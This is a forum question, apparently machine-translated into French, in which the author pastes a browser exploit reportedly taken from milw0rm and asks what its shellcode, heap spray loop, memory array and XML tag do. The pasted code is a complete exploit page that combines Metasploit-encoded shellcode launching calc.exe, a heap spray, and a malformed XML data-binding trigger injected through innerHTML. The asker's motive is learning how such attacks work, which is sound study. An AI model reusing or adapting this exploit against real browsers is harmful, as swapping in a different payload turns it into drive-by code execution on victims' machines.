J'ai l'habitude de ne pas avoir de la difficulté à lire script JavaScript, mais ce que je ne peux pas comprendre la logique. Le code est issu d'un Exploit qui a été publié il ya 4 jours. Vous pouvez le trouver à milw0rm.
Voici le code:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Voici ce que je crois, et je voudrais que vous m'aider pour la partie que j'ai mal compris.
La variable shellcode
contenir le code pour ouvrir la calc.exe. Je ne comprends pas comment ils ont trouvé cela bizarre chaîne... une idée?
La deuxième chose, c'est la variable spray
. Je ne comprends pas cette étrange boucle?
La troisième chose, c'est la variable memory
qui n'est jamais utilisé n'importe où, pourquoi font-ils créer?
Dernière chose, Quelle est la balise XML à faire dans la page?
Mise à jour
Bon, pour le moment j'ai de bonnes réponses, mais surtout très
général. J'aimerais plus d'explications de la valeur de la
code. Un exemple est unescape("%u0a0a%u0a0a");
. Ça veut dire quoi?
Même chose pour la boucle, pourquoi le développeur d'écrire:
length < 0xd0000
? Je voudrais une compréhension plus profonde, non
seule la théorie de ce code.